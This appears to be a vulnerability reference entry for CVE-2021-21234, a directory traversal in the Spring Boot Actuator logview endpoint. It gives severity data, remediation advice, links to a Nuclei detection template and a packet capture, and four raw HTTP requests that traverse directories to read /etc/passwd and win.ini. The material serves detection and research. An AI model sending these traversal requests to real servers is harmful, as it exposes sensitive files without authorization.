| Title | Spring Boot Actuator Logview Directory Traversal |
|---|---|
| Author | gy741,pikpikcu |
| Severity | High |
| Impact | This vulnerability can lead to unauthorized access to sensitive information stored on the server. |
| Remediation | Apply the latest security patches or upgrade to a patched version of Spring Boot Actuator. |
| CVSS Score | 7.7 |
| EPSS Score | 0.93852 |
| CVE ID | CVE-2021-21234 |
| CWE ID | CWE-22 |
| Tags | cve2021 cve springboot lfi actuator spring-boot-actuator-logview_project vkev vuln |
spring-boot-actuator-logview before version 0.2.13 contains a directory traversal vulnerability in libraries that adds a simple logfile viewer as a spring boot actuator endpoint (maven package “eu.hinsch:spring-boot-actuator-logview”.
GET /manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /log/view?filename=/windows/win.ini&base=../../../../../../../../../../ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /log/view?filename=/etc/passwd&base=../../../../../../../../../../ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21234.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-21234.pcap
N/AN/A